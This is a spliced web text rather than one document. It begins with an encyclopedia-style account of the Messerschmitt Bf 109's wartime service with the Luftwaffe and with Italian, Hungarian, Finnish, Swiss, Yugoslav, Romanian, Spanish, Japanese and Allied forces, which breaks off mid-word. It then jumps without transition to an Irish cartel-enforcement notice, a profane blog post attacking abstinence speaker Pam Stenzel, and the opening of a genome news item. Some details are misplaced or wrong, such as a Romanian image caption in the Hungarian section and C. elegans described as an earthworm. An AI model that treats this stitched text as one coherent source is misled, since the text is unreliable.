136 Bf 109s were sent to Spain, and 47 of these, including Bf 109Bs, Ds and Es remained behind in service with the Spanish Air Force after the conclusion of the war in 1939. The Republican fighters were no match for the Bf 109, equipped mostly with Soviet built Polikarpov I-15 and Polikarpov I-16s the Republican forces suffered heavy losses to Nationalist and Condor Legion fighters. As many as 20 Bf 109s were lost in Spain to enemy action to both aerial combat and ground fire.
Combat service with the Luftwaffe [ edit ]
The Bf 109 was credited with more aerial kills than any other aircraft. One hundred and five (possibly 109) Bf 109 pilots were credited with the destruction of 100 or more enemy aircraft. Thirteen of these men scored more than 200 kills, while two scored more than 300. Altogether this group were credited with nearly 15,000 kills between them.[1] Among many of the combatants, ace status was granted to a pilot who scored five or more kills. Applying this to Luftwaffe fighter pilots and their records shows more than 2,500 German pilots were aces.[2] However, the Germans did not use this benchmark; instead they awarded the title of Experte to a fighter pilot who not only demonstrated high skill in combat but also exemplified the best in personal character.[3] The majority of Bf 109 pilots scored their kills against the Soviets, however five pilots did record over 100 claims against the Western Allies. Luftwaffe records show that during Operation Barbarossa, German pilots claimed 7,355 kills on the Bf 109, between the seven Jagdgeschwader (JG 3, JG 27, JG 51, JG 53, JG 54, JG 77, and LG 2) for exactly 350 losses in aerial combat, a ratio of just over 21:1, and the highest achieved by the Germans on the Eastern Front.[4][5]During the latter part of the war, the Bf 109 was the selected aircraft that was used in the Rammkommando ELBE because of its lighter weight compared to the Fw 190.[6]
Between January and October 1942, a further 18 German pilots joined the select group that had now reached 100 kills over the Eastern Front. During this period Bf 109 pilots claimed 12,000 Soviet aircraft destroyed.[7][8]
The Bf 109 in the Battle of Britain [ edit ]
Arguably the most well known of all Bf 109 operations was the contest of air superiority between the Royal Air Force and the Luftwaffe during the Battle of Britain in the summer of 1940. The E-1 and E-4 variants bore the brunt of the battle. On 31 August 1940, fighter units (excluding JG 77) reported 375 E-1s, 125 E-3s, 339 E-4s and 32 E-7s on strength, indicating that most of the E-3s had been already converted to E-4 standard.[9] By July, one Gruppe (Wing) of JG 26 was equipped with the Bf 109 E-4/N model of improved performance, powered by the new DB 601N engine using 100 octane aviation fuel.[10]
The fuel-injected DB 601 proved most useful against the British Supermarine Spitfire and Hawker Hurricane, as the British fighters used gravity-fed carburetted engines, which would cut out under negative g-forces whereas the DB 601 did not. The Bf 109s thus had the initial advantage in dives, either during attack or to escape, in that it could 'bunt' directly into a dive with no loss of power. Another difference was the choice of fighter armament: the RAF's Hurricanes and Spitfires in the main used eight 7.7 mm (.303 in) machine guns. Most Bf 109E variants (E-3, E-4, E-7) carried two 7.92 mm (.312 in) MG 17s and two 20 mm MG FF cannon. The latter fired mixed types of ammunition, including Minengeschoß type high-capacity explosive shells which were highly destructive, but had different ballistic properties to the MG 17s. The MG FFs had a relatively small ammunition supply compared to the machine guns, each being fed by a 60-round capacity drum magazine. Making up about one-third of the Bf 109Es in the Battle, the E-1s, carried an all-machine gun armament of four 7.92 mm (.312 in) MG 17 machine guns, but were provided with a total of 4,000 rounds.
British pilots who tested a captured Bf 109 E-3 liked the engine and throttle response, the docile and responsive handling and stall characteristics at low speeds, but criticised the high-speed handling characteristics (in part due to the automatic wing slats opening), poorer turning circle (850 ft as opposed to 680 ft for the Spitfire), and great control forces required at speed (in part because of rudder pedal position and a lack of trim tabs).[11] In August 1940, comparative trials were held at the Erprobungsstelle Rechlin central Luftwaffe air test facility, with the leading Luftwaffe ace Werner Mölders being one of the participants. The tests concluded that the Bf 109 had superior level and climb speed to the Spitfire and Hurricane at all altitudes, but also noted the significantly smaller turning circle of the British fighters (more than one British pilots combat reports bear this out, having used the tighter turning circle of their aircraft to get into firing position, or conversely used it to get out of the way of a 109). It was advised not to engage in turning dogfights unless the performance advantage of the Bf 109 could be used to full effect. The roll rate of the Bf 109 was deemed superior, as was its stability on target approach. Mölders himself called the Spitfire "miserable as a fighting aircraft", due to its two-pitch propeller and the inability of its carburettor to handle negative g-forces. His complaint regarding the propeller was that with one setting selected the pilot was at risk of over-revving and stressing the engine, but conversely, selecting the other setting meant the aircraft could not run at its best (a situation roughly analogous to a car having too much of a gap between transmission ratios) It should be noted, however, that in the political climate of the times there was often a considerable amount of propaganda written into such reports by both sides[12] or the information quickly become outdated; for example, as a result of a crash programme, all Spitfires and Hurricanes were retrofitted with either Rotol or Hamilton constant-speed propellers by 16 August 1940.[13]
During the Battle of Britain, the Bf 109's chief disadvantage was its short range: like most of the 1930s monoplane interceptors, it was designed to engage enemy bombers over friendly territory, and the range and endurance necessary for escorting long-ranged bombers over enemy territory was not required. The Bf 109E escorts used during the Battle had a limited fuel capacity resulting in only a 660 km (410 mile) maximum range solely on internal fuel,[14] and when they arrived over a British target, had only 10 minutes of flying time before turning for home, leaving the bombers undefended by fighter escorts. Its eventual stablemate, the Focke-Wulf Fw 190A, was only flying in prototype form in the summer of 1940; the first 28 Fw 190s were not delivered until November 1940. The Fw 190A-1 had a maximum range of 940 km (584 miles) on internal fuel, 40% greater than the Bf 109E.[15] The Messerschmitt Bf 109E-7 corrected this deficiency by adding a ventral center-line ordnance rack to take either an SC 250 bomb or a standard 300 litre Luftwaffe drop tank to double the range to 1,325 km (820 mi). The ordnance rack was not retrofitted to earlier Bf 109Es until October 1940. The Spitfire and Hurricane, designed with similar operational requirements in mind, had a tactical advantage as they were operating virtually over their home airfields as interceptors, and thus being able to remain longer in the combat area.
Combat service with Italy [ edit ]
Regia Aeronautica (1942–1943)
From November 1942 to April 1943, the Regia Aeronautica received only 160 new bombers and 758 new fighters from their own production lines, while losing about 1,600 aircraft in combat, for accidents and other causes. For this reason, the Italian Air Force decided to use German aircraft. General Kesselring accepted a first batch of about 30 Bf 109s that were assigned to 150° and 3° Gruppo. The first unit under command of Maggiore Antonio Vizzotto was ready to operate in April moving to Caltagirone airfield, then on Sciacca's, in Sicily. Just before the Allies landed in Sicily, the 150° Gruppo (363ª, 364ª, 365ª Squadriglia) had 25 Bf 109s operative, while 17 other Bf 109s were with 3° Gruppo (153ª, 154ª, 155ª Squadriglia) on Comiso airfield, in Sicily. Most of them were destroyed by Allied bombers. On 12 July, the fourth day of combat, the two Gruppos had lost nearly all the aircraft. By mid-July, the 150° Gruppo was deployed to Ciampino airfield, just outside Rome with the last three remaining Bf 109s arriving from Sicily. Meanwhile, 23° Gruppo (70ª, 74ª, 75ª Squadriglia) of 3° Stormo, on Cerveteri airfield, in Latium, received 11 Bf 109Gs. By 8 September, when Italy signed the Armistice of Cassibile, only four Bf 109s remained servicable, based on Ciampino airstrip, with 150 Gruppo.[16]
ANR (1943–1945)
The Aeronautica Nazionale Repubblicana (ANR) was the airforce deployed by the Repubblica Sociale Italiana (RSI). Although the ANR was organised by the RSI, much of its operational control came from the Luftwaffe. At first, the ANR fighter units (I° Gruppo Caccia and II° Gruppo Caccia[18]) used Macchi C.205s and Fiat G.55s respectively. Notwithstanding the G.55s gave a good account of themselves against Allied fighters like the Spitfire and Mustang [19] the Luftwaffe's Jagdfliegerführer (Fighter Controller or Jafü), considering that many of the unit's pilots had experience flying the Bf 109Gs of the Regia Aeronautica over Sicily, directed that the Fiat G.55s of II° Gruppo Caccia would be replaced by Bf 109Gs. Ex-JG 4 Bf 109 G-6 aircraft started arriving at Cascina Vaga on 29 May, and two G-12 trainers were delivered two weeks later. By 22 June, the unit was ready for its first operations.[20]
The unit's first operation with the Bf 109 occurred on 22 June 1944; eleven Bf 109s sortied from the airfield, although nothing was achieved.
I°Gr.C continued to use a combination of Macchi 205s and Fiat G.55s although, for various reasons,[21] the unit rarely operated from August 1944 through to December, when the first Bf 109 G-12 trainer arrived. Still in December, the remaining 17 pilots of I° Gruppo were moved to Rangsdorf, in Berlin, to start a training course on Me 163 rocket fighter.[22] In November 1944, I°Gr.C was transferred to the Luftwaffe flying school at Holzkirchen in Germany to convert to the Messerschmitts.[22] At the beginning of February, 57 of I° Gruppo's pilots were ready for operations with the Me 109; 51 (52, according to other sources [22]) G-6s, G-10s and K-4s, most of which came directly from Germany, were available at the end of the month. The fighters were placed on the heath between Lonate Pozzolo and Malpensa airfields, and carefully camouflaged to protect them from Allied air raids. The first combat operation occurred on 14 March 1945. I° Gruppo attempted to intercept B-25 Mitchells of the 321st Bomb Group near Lake Garda but, in turn, were bounced by P-47 Thunderbolts of the 350th Fighter Group. 1° Gruppo had three pilots dead, one wounded, three aircraft lost and six damaged; in return one P-47 was claimed by the Commander Adriano Visconti.
The other ANR fighter unit, II° Gruppo, that had given at the end of May 1944 its G.55s to I° Gruppo, had been re-equipped with 46 ex I./JG 53 and II./JG 77 Bf 109 G-6.[23] On 22 June 1944, it took off on its first operational flight with its Messerschmitts and three days later it shot down two P-47s from the Gaullist French G.C.II/3. At this stage, Luftwaffe ordered ANR pilots to operate outside Italian borders. For instance, on 25 July, 18 Bf 109Gs from II° Gruppo were ordered to move to Tulln, in Austria. Here they were subordinated to JG 53. They operated together with German pilots against an Allied bomber raid. During this combined mission eight B-24 Liberators were shot down.[24]
On 2 April 1945, II° Gruppo 29 Bf 109s, from Aviano and Osoppo bases, intercepted a large formation of B-25s over Ghedi, Brescia, escorted by P-47Ds of 347 Fighter Squadron. In the air battle that ensued, ANR pilots suffered a heavy defeat: 14 Bf 109s were shot down and six Italian pilots killed, without scoring a single air victory.[25] On 10 April, three Bf 109s, flown by Sottotenente (Flying Officer) Umberto Gallori, Maresciallo (Warrant Officer) Mario Veronesi and Maresciallo Dino Forlani, intercepted P-47s from 57° Fighter Squadron over Milan and Como. Forlani claimed a P-47 damaged, but the other two Italian fighters were hit and lightly damaged. On 19 April, 1° Gruppo "Asso di bastoni" had its last combat, last claim and its last loss.[26]
Combat service with Hungary [ edit ]
Romanian Messerschmitt Bf 109E
In October 1942, the Luftwaffe agreed to partially re-arm Royal Hungarian Air Force fighter units with the Bf 109. Subordinated to the German Jagdgeschwader 52 on the Eastern Front, the first Hungarian fighter unit to convert to the Bf 109 F-4 was the RHAF's 1./1. vadászszázad (fighter squadron). After brief training on the type, zászlós (ensign) Lukács Ottó flew the first combat sorties on 15 October 1942. The unit was mainly engaged in fighter-bomber and strafing attacks until 16 December 1942, when főhadnagy (Lieutenant) György Bánlaky and hadnagy (Second Lieutenant) Imre Pánczél shot down four Ilyushin Il-2s; the first victims of the RHAF's 109s. Several other fighter units converted to the 109F and later G models during the course of 1943 and were heavily engaged in combat on the Eastern Front.[27]
By late 1943 the RHAF realized the locally produced but obsolete Reggiane Re.2000 Héja fighters were not up to the task, and began to equip fighter squadrons in the Home Air Defense with Bf 109s. During April and May 1944, the new Bf 109Gs were concentrated into the 101. Honi Légvédelmi Vadászrepülő Osztály (101st Home Air Defence Fighter Wing). The Hungarian Messerschmitt factory at Győr produced many of these under licence. The unit, commanded by the experienced Eastern Front veteran őrnagy (major) Heppes Aladár, was also known as the Red Pumas after its insignia.[28] During 'The American Season', between May and August 1944, the 101. had claimed 15 P-51s, 33 P-38s and 56 four-engine bombers.[29] But Hungarian losses were high too: 18 fighter pilots lost their lives.[30] The heaviest losses occurred on 7 August 1944, when 18 Bf 109s from 101 Fighter Group, escorting Luftwaffe Bf 109 G-6s, armed with additional cannons in underwing gondolas, took off to intercept 357 four-engined American bombers, escorted by 117 fighters. The Messerschmitts were intercepted by the escorting P-51 Mustangs that shot down eight Hungarians and at least nine Germans Bf 109s, losing just two of their number. Among the killed "Pumas" was Lt László Molnár Lukács, the top scoring Hungarian pilot to date, with 25 kills (including seven American aircraft).[31] By November 1944 the 101. was re-organized into a fighter regiment, and was re-equipped with the latest Messerschmitt Bf 109 G-10 and G-14 types. At the end of December the pilots received new Bf 109s at Wiener-Neustadt and were subsequently transferred to the Kenyeri airfield. Early in February 101 Fighter Wing received 26 brand new Bf 109 G-10/U4s with the instructions that their engines had to be changed after 30–40 operating hours.[32] However, combat missions against the 15th USAAF came to an end, and the 101st's main adversary in the air became the Red Air Force.[33] The Hungarian pilots were numerically far inferior to the Soviets but they nevertheless attacked. On 9 March eight Bf 109Gs from 101/3 fighter squadron intercepted a formation of 25 Soviet Douglas Boston bombers escorted by 16 Yak-9s and shot down three. Two weeks later eight "Red Pumas" attacked 26 Soviet aircraft south of Lake Balaton and shot down five without a single loss.[34]
At the end of March 1945, the MKHL had to leave Hungary. The "Red Pumas" moved first to Petersdorf, then to Wiener-Neustadt and Tulln, then to Raffelding, in Austria. From there the Hungarian fighters still carried out many reconnaissance flights and attacks on ground targets. Their losses were dramatically high: in two days, "Red Pumas" lost ten fighters and four pilots. On 17 April 1945, Sen Lt Kiss achieved the last MKHL aerial victory shooting down a Soviet Yakovlev Yak-9.[35] The unit set its last remaining Bf 109s on fire on 4 May 1945 at Raffelding airbase to prevent their falling into the hands of advancing U.S. troops.[36] One example of a Hungarian Bf 109, a G-10/U4 Werknummer 611 943 survives to this day at the Planes of Fame Museum.
Combat service with Finland [ edit ]
The Finnish Air Force received its first Bf 109s in 1943. A total of 162 aircraft of this type were to be purchased and the first aircraft landed in Finland on 13 March 1943. In total, 159 aircraft were taken into service, as two G-6s and one G-8 were destroyed en route to Finland. Forty-eight of these were G-2s, 109 were G-6s and two were G-8s. The Bf 109 is still the aircraft type that has served in the largest numbers in the Finnish Air Force. The aircraft was nicknamed Mersu in popular speech (the same as the nickname for Mercedes-Benz cars, whose parent company Daimler-Benz produced the Bf 109 engine) and carried the designation MT and a 3-digit identification number. With the arrival of the 109s, the Finns once again could fight on a more even basis, as they could match the latest Soviet fighters. The last of the purchased aircraft arrived in Finland on 20 August 1944, just before the armistice with the Soviet Union.[citation needed]
During the Continuation War, Bf 109s were in service with fighter squadrons 24, 28, 30 and 34:
The Finns scored 667 confirmed victories with the type, losing 34 Bf 109s to enemy fighters or anti-aircraft fire. A further 16 were lost in accidents and eight aircraft were destroyed on the ground. Twenty-three pilots were killed.[37]
One hundred and two Bf 109s survived the war, and the aircraft remained the main fighter of the Finnish Air Force for almost a decade after the end of World War II. Despite the aircraft's expected short lifespan (it was built as a wartime aircraft and was calculated to last about 100–200 flight hours), it continued in service until spring 1954 when the FAF entered the Jet Age. The last flight was on 13 March 1954 by Major Erkki Heinilä in aircraft MT-507.
Museum aircraft in Finland
Several Bf 109s are preserved in Finland. MT-452 is on display at the airfield in Utti,[38] and the Central Finland Aviation Museum displays MT-507, which was the last flying Bf 109 of the FAF.[39] The Finnish airplane constructor Valtion Lentokonetehdas also manufactured a fighter, called VL Pyörremyrsky, whose appearance greatly resembled the Bf 109 but which also features some significant improvements, such as significantly easier handling, different wing construction, and re-designed landing gear. One single aircraft was produced before the end of the war; it is today displayed at the Central Finland Aviation Museum. Further, the doctoral thesis by the Finnish aircraft expert Hannu Valtonen is called "Tavallisesta kuriositeetiksi – Kahden Keski-Suomen Ilmailumuseon Messerschmitt Bf 109 -lentokoneen museoarvo" (From regular to a curiosity – The museal value of two Messerschmitt Bf 109s at the Central Finland Aviation Museum).
Combat service with Switzerland [ edit ]
Switzerland took delivery of the first of its 115 Bf 109s in 1938 when ten Bf 109Ds were delivered. After this, 80 109 E-3s were purchased which arrived from April 1939 until just before the German invasion of France in summer 1940. During the war, a further four 109s (two Fs and two Gs) were acquired by the Swiss Air Force through internment. The 109Es were supplemented by eight aircraft licence manufactured from spare parts by Doflug at Altenrhein, delivered in 1944.
In April 1944, 12 further G-6s were acquired in exchange for the destruction of a highly secret Messerschmitt Bf 110G night fighter which made an emergency landing in Switzerland. The new 109Gs suffered from numerous manufacturing defects and after problematic service were withdrawn from use by May 1948. The 109Es continued in service until December 1949.[40]
With the start of the Battle of France, Swiss fighters began intercepting and occasionally fighting German aircraft intruding Swiss airspace. On 10 May 1940, several Swiss Bf 109s engaged a German Dornier Do 17 near the border at Bütschwil; in the ensuing exchange of fire, the Dornier was hit and eventually forced to land near Altenrhein.
On 1 June, the Flugwaffe dispatched 12 Bf 109 E-1s to engage 36 unescorted German Heinkel He 111s of Kampfgeschwader 53 that were crossing Swiss airspace to attack the Lyon – Marseilles railway system. The Swiss Air force sustained its first casualty in the engagement when Sub Lieutenant Rudolf Rickenbacher was killed when the fuel tank of his Bf 109 exploded after being hit by the Heinkel's return fire. However, the Swiss "Emils" shot down six He 111s.[41]
On 8 June, a C-35 observation aircraft, an antiquated biplane, was attacked over the Jura Mountains by two German Bf 110s; the pilot and observer were killed. Later on the same day, Swiss Captain Lindecker led about 15 Swiss Emils to intercept a formation of German He 111s escorted by II./Zerstörergeschwader 1's Bf 110s. The engagement resulted in five Bf 110s being shot down (including the Staffelkapitän Gerhard Kadow) for the loss of one Swiss Bf 109.[41]
In the latter stages of the war, Swiss Messerschmitts were painted with red and white striped "neutrality markings" around the fuselage and main wings to avoid confusion with German 109s.
Combat service with Yugoslavia [ edit ]
During the late 1930s, Yugoslavia embarked in an ambitious modernization program of its air force. So, from 1939–1941, Vazduhoplovsvto Vojske Kraljevine Yugoslavije (VVKJ – Royal Yugoslav Air Force) [42] received 83 Bf 109 E-3s with the first two aircraft delivered in beginning of 1939. However, the aircraft were grounded most of the time due to a lack of spare parts, which was a German war tactic. The Yugoslav pilots were not happy with the Bf 109 after several landing accidents due to the Messerschmitt's narrow landing gear and constant mechanical failures. On 6 April 1941, first day of the Axis invasion of Yugoslavia, VVKJ had in service 54 Messerschmitt Bf 109E-3as.[43] The defense of Belgrade (6 LP 31 and 32nd group) saw the heaviest fighting with both Yugoslav and German Bf 109s going head to head. During the first day of the battle, Yugoslav pilots managed to destroy several German planes. By the end of the 12-day campaign almost all Bf 109s had been destroyed, either in combat, or by their crews to prevent capture. Some of the surviving aircraft were later captured and sold to Romania.[44]
After the Kingdom of Yugoslavia was defeated and occupied by the Axis powers, the new Independent State of Croatia (Nezavisna Država Hrvatska, NDH) was created. On 27 June, the Croatian Legion (Hrvatska Legija) was formed on order of Ante Pavelić, to support German forces on the Eastern Front. The air component, Hrvatska Zrakoplovna Legija (HZL, Croatian Air Force Legion), was established on 12 of July. Named 4. Mjesovita zrakoplovna pukovnija (Mixed Air Force Regiment) [45] it comprised two units: a bomber and a fighter group. The latter, Zrakoplovna lovacka skupina (ZLS), with 202 men, was sent to Germany and trained on Bf 109s.[46] 10. Zrakoplovno lovacko jato (ZLJ, air force fighter squadron), equipped with 10 Bf 109F and one Bf 109E, was the first operative Croatian unit.[46] Its first base was Poltava, in Ukraine, where it was subordinated to III./JG 52. There, 10. ZLS was renamed 15(Kroatische)./JG 52. The first air victories of Croatian aviation came on 2 November 1942. That day, Hauptmann Vladimir Ferencina (future 10 kills ace) and Leutnant Baumgarten claimed a Polikarpov I-16 Rata each, near Rostov.[47] By the end of the war, 17 Croatian pilots had achieved the status of ace, flying the Bf 109, the top scoring being Mato Dukovac, with 44 kills.[48] At the end of the conflict, 17 Luftwaffe and Croatian Air Force Bf 109s were found by Yugoslav Partisans on Yugoslav territory.[49] These were stored until 1949 while more were acquired from Bulgaria. The new SFR Yugoslav Air Force used a mix of G-2, G-6, G-10 and G-12 aircraft until mid-1952 by the 172nd Fighter Regiment.
Combat service with Romania [ edit ]
The Royal Romanian Air Force (Forţele Aeriene Regale ale României, FARR) operated Bf 109Fs and Gs against the Soviet Union, at first, and – after the “change of fronts” that followed the coup d'état led by King Michael I of Romania in August 1944 – against the Germans. The first batch delivered by Messerschmitt to Romanians was of 50 Bf 109E-3/E-4 that equipped Escadrila 56, 57 and 58.[50] In June 1942, the three Escadrila of Grupul 7 Vanatoare, led by Cdr. Capt. C. Grigore, had still 12 Bf 109Es each.[51] Between 28 March and 1 July 1943, Grupul 7, led by Lt Col Radu Gheorghe, operated with units of Luftwaffe JG 3 Udet, on South-Eastern Ukraine. In this period of "free hunting", the Romanians – among them Escadrila 57's commander, Capt Alexandru Şerbănescu – proved very successful. In just two days, the pilots of Grupul 7 shot down 23 Soviet aircraft.[52] After King Michael's Coup on 23 August 1944 that removed the government of Ion Antonescu, which had aligned Romania with Nazi Germany, the Romanian pilots had to fight the Luftwaffe and the Hungarians with their Messerschmitts even if reluctantly and without any enthusiasm.[53]
Combat service with Francoist Spain [ edit ]
Already on the evening of 22 June 1941, day of German invasion of USSR, the Spanish Foreign Minister offered the German Ambassador in Madrid volunteers to fight “against Bolshevism”. Spanish volunteers formed the so-called Blue Division, 250 I.D. (Infantry Division) of the Wehrmacht and the Escuadrilla Azul, a fighter squadron, the first of five units, that flew mostly Bf 109s. The 1.ª Escuadrilla de Caza left the Spanish capital already on 25 June 1941, with 17 pilots. These airmen, during the Spanish Civil War, had shot down a total of 179 Republican aircraft. Their leader was Comandante Ángel Salas Larrazábal, a 17 kills ace. After a training in Germany, on 5 September 1941, the Spaniards were equipped with new Bf 109E-7s and sent on the Soviet front.[54] On 26 September the 1.ª Escuadrilla de Caza with its 12 Messerschmitts flew to Minsk, then to its operational base of Moznha, where formed a squadron of Jagdgeschwader 27, the 15.(Span.)/JG 27. Few days later, Comandante Larrazábal scored the first two kills of the Escuadrilla Azul, shooting down one I-16 Rata and a Petlyakov Pe-2 reconnaissance bomber and Wolfram Freiherr von Richthofen, then Commanding General of VIII. Fliegerkorps, awarded him with the Iron Cross 2nd class, on 5 October.[55] The 1.ª Escuadrilla was based in Vitebsk when, on 6 January 1942, received the order to retreat to Spain. In 460 sorties, Spaniards had claimed 10 aircraft destroyed in the air plus four on the ground, but had lost five pilots. The 2.ª Escuadrilla Azul was formed by Comandante Julio Salvador y Díaz-Benjumea, a 24 kills ace in Spanish Civil War. Diaz-Benjumea would be appointed Minister of Aviation by Franco in 1969.[56] After a training in Germany, the new Escuadrilla Azul was equipped with Bf109F-4 and listed as 15.(span.)JG 51. The Spaniards were deployed to Orel. The 2.ª Escuadrilla flew 403 operational sorties and was credited with 13 kills. It suffered just two losses. On 30 November 1942, the 3.ª Escuadrilla arrived to Orel for the official relief of the 2nd Squadron, still in Orel. The following day, the 3.ª Escuadrilla suffered its first loss, when Capitan Andrés Alvarez-Arenas was shot down and captured by Soviets.[57] The Spaniards scored just two kills up to 27 January 1943 when they were credited with seven kills.[58] The Spanish pilots fought up to Spring 1944 against Soviet Union. They flew more than 3,000 operational sorties, they achieved 159 kills and suffered a loss rate or 30% (including wounded).[59]
Service with Japan [ edit ]
Five Bf 109 E-7s were acquired by the Japanese in 1941, without armament, for evaluation. While in Japan they received the standard Japanese hinomarus and yellow wing leading edges, as well as white numerals on the rudder. A red band outlined in white is around the rear fuselage.
They were used in comparison trials by the Japanese Army Air Force with the Nakajima Ki-43 Hayabusa, Nakajima Ki-44 Shoki and the Kawasaki Ki-61 Hien. As Japanese were interested in the DB 601 engine and license-built it for their Kawasaki Ki-61 Hien fighter, they had little interest in the Bf 109 itself.
The Allies, expecting to encounter Japanese Bf 109s in combat, assigned a code name of “Mike” to the Messerschmitts, in the event none were flown in combat by the Japanese.
Allied Bf 109s [ edit ]
White 1 of 1./JG 76, in RAF markings; Bf 109 E-3,of 1./JG 76, in RAF markings; Wright Field, Ohio, May 1942
A captured Bf 109G in US markings, Tunisia 1943
A captured German Messerschmitt Bf 109 F-4
Royal Air Force and Commonwealth [ edit ]
Several Bf 109s models and marks came into the RAF's hands in various ways throughout the war, including captures by Allied ground troops, forced or mistaken landings by German pilots, and defections. They were then passed to the Air Fighting Development Unit where they were extensively tested before passing them on to the RAF's No. 1426 (Enemy Aircraft) Flight, nicknamed "the Rafwaffe" (see main article for details of the six Bf 109's they operated).
Other Bf 109s captured and operated by the RAF and Commonwealth air forces included the following:
In December 1941, a Bf 109 was captured at Gazala airfield and tested by the RAF.
In May 1942 a Bf 109F–4/B of 10.(Jabo)/JG 26 was damaged by anti-aircraft fire and belly–landed at Beachy Head. It was flown by the RAF until the end of the war.
Several Bf 109s were captured and tested by the SAAF: Bf 109 G-4 “Black 13” was captured in Tunisia. Another G-4 was captured in Sicily. A Croat G-14 “Black 10” deserted to Italy and landed in Jessi, and taken over by 3 Wing SAAF. Another G-14 “Black 4” was handed over to the USAAF, who gave it to the Italians, and then turned over to the Polish Air Force. A Bf 109 F-2 trop was captured at Maple Arch in 1942. The most famous one is the Bf 109 F-4/Trop of JG27 captured at Derna in December 1941. Known as coded "Yellow 2" it was repaired and flown out just before the Germans recaptured the airfield in January 1942.
In November 1942 a Bf 109 G-6(trop) was abandoned by JG27 and captured by the RAAF near Tobruk. It was repaired by 3rd Squadron and repainted in a RAF scheme, given the squadron code "CV-V" and evaluated in North Africa. Transferred to UK in late 1943.
Another Bf 109 F-4/Trop was captured on Martuba airfield by RAAF 3rd Squadron during Operation Crusader in 1941.
A Bf 109 G-6(trop) was captured in North Africa in 1943 and returned to the UK for evaluation by the AFDU, coded VX101. The 109 was written |
a bush-rattling exercise, it encouraged any individual with any evidence of bidding irregularities connected with publicly-funded transport services to contact its dedicated confidential helpline on 086 677 2062.
It also reminded any would-be whistleblowers that a cartel immunity programme is in place and operated jointly by commission and the Director of Public Prosecutions.
Avoid prosecution
The programme allows for any member of a cartel to avoid prosecution if they are the first member to come forward to reveal their involvement in illegal cartel activity and fully co-operate with the investigation.
“Markets work best where businesses vigorously and independently compete against each other for customers,” said commission chairwoman Isolde Goggin.
“Cartels, where businesses offering the same products or services collectively agree not to compete with one another or to fix prices, cause very significant harm to competition and consumers. Bid rigging in public procurement can be particularly harmful as it can artificially increase prices and ultimately costs taxpayers more and can reduce the quality of services the State provides,” she said.
She stressed that the CCPC was prioritising these investigations “and will take action if it finds evidence suggesting that these forms of criminal offences have taken place”.Meet Pam Stenzel. Pam Stenzel is a highly-paid* lecturer who speaks about the virtues of abstinence. Stenzel spoke on Monday at George Washington High School in Charleston, WV and created quite a stir when she allegedly made comments like, "If you take birth control, your mother probably hates you," and "I could look at any one of you in the eyes right now and tell if you're going to be promiscuous." Man, this woman makes me wish I had another virginity to lose.
Under the guise of fun and funky sex education, Stenzel has been speaking, often in public schools, about the glory of virginity for quite awhile. In a casual poll of twenty women (OK, I emailed twenty friends), four wrote back saying they remembered either seeing Stenzel speak live at school, or being forced to watch her videos in class. In a Jezebel post from 2010 about the harm of abstinence-only sex ed, several different commenters write about being subjected to Stenzel — and some of them thought she was pretty great.
She's a convincing speaker — a cross between manic stand-up and evangelist preacher. An absolute master of the specious argument, she orates with such fervor and humor that it's easy to get caught up in her bullshit.
And it is bullshit. Behind her facade of empowering girls to make "good decisions" and "having the integrity to wait" — she's really just packaging lies as truth, and doing it mighty powerfully. She expertly plays young audiences, saying things like "God created sex, He is not the cosmic kill-joy," to show that she GETS IT, GUYS! Sex is great! But there's a catch — it's only great if you're doing it with the person you were sold to for marriage married because "He did create sex with boundaries, to protect us and our future marriage."
So sorry, kids, most of God's sex boundaries aren't super fun things like "In a threesome, thou shalt not fence cocks." Instead, they're an even more arbitrary set of rules about who you can and can't fuck and when you can and can't fuck them — which is very odd because sex between any two consenting adults is often a religious experience.
The Charleston Gazette has some more choice Stenzel quotes:
In her YouTube videos, Stenzel says birth control makes a woman "10 times more likely to contract a disease... or end up sterile or dead." Many of the videos warn of sexually transmitted diseaes and also say, "Sex could damage you for the rest of your life." Sex also could lead to "scarred fallopian tubes and cancer... and you need to ask Jesus for forgiveness." In addition, Stenzel points to anorexia, bulimia and "cutting" as after-effects of abortion.
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Again, that is a woman who is regularly paid money to speak at schools — many of them public. And, oh boy, are religious fundamentalist communities happy to have her spreading the Word. Here's how the website Believes in West Virginia** previewed her talks earlier this week:
In a captivating and inspiring talk, Pam tackles the tough issues of sex with candor, insight, and humor while challenging young people to embrace God’s plan for sexual purity.
Whoomp! (There it is.) God's plan. Sexual purity. Stenzel's game plan, clear as a commandment. And although she didn't mention religion in her talk at the public George Washington High School — she's far too smart for that — it's clear where her passion is.
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At least it was obvious to many students at George Washington High School on Monday — including Katelyn Campbell, who called Stenzel's presentation "slut-shaming" and is filing a complaint with the ACLU.
"Many students felt uncomfortable with her outright condemnation of any and everyone who has ever had premarital sexual contact," Campbell said. "Stenzel's overall attitude was that any type of sex will guarantee the contraction of an STD or an unwanted pregnancy." Campbell and a male student, who wished to remain anonymous, said Stenzel often screamed into the microphone and used an unsettlingly loud tone throughout the presentation. "While her intentions may have been good, her tone was very loud, like she was shaming everyone in the audience. She was making girls cry. There were pregnant girls in the audience and she was implying, if you had sex, you're not an OK person," the male student said. "The only reason I am standing up against it is so other schools in West Virginia don't have to hear this."
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Fuck Yeah, Katelyn Campbell and unnamed male student! Some pissed-off parents got into the mix, too. In a post to Facebook, parent Cheri Callaghan wrote that she heard a rumor the assembly was on safe sex and STDS. Knowing that the school nurse isn't even allowed to discuss specifics of birth control in a class setting with students, she was surprised. "I thought, 'Wow, now we're getting somewhere.' Come to find out it's 'a motivational speaker' on abstinence," she wrote.
Campbell's dedication to calling out the scary, damaging, unhealthy, lie-filled garbage fest that Stenzel is regularly puking into the ears of American teenagers is admirable. She gives me hope for the future — and the fact that, according to the Charleston Gazette, many students were recording Stenzel's talk — if you have a copy, please email me! — makes me think the more this stuff is leaked, the more conversation there will be, and antiquated, ineffective abstinence-only education will be forced to go the way of the dinosaur (no offense, T. rex).
*Although County Superintendent Ron Duerring wouldn't reveal the cost of the talks and only said they were sponsored by private donations, according to Speaker Mix, a database of public speakers, Stenzel charges between $4,000 and $6,000 per appearance. I'm sure whoever donated the money probably just didn't want to spend it on things the students actually needed.
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**UPDATE: The group Believes in West Virginia funded the talk.
[Charleston Gazette] [Charleston Daily Mail]IMPERIAL College scientists have suggested why the human genome may have fewer genes than rice.
Research published in the July issue of Trends in Immunology, shows how a more advanced immune system in humans could explain why the human genome may have only a slightly greater number of genes than the plant Arabidopsis thaliana, and probably less than rice, Oryza sativa.
The human genome is estimated to have as few as 30-45,000 functional genes, while Oryza sativa has between 32,000 and 56,000 functional genes. The earthworm, Caenorhabditis elegans, has 19,000 genes and the plant, Arabidopsis thaliana has 25,000 genes.
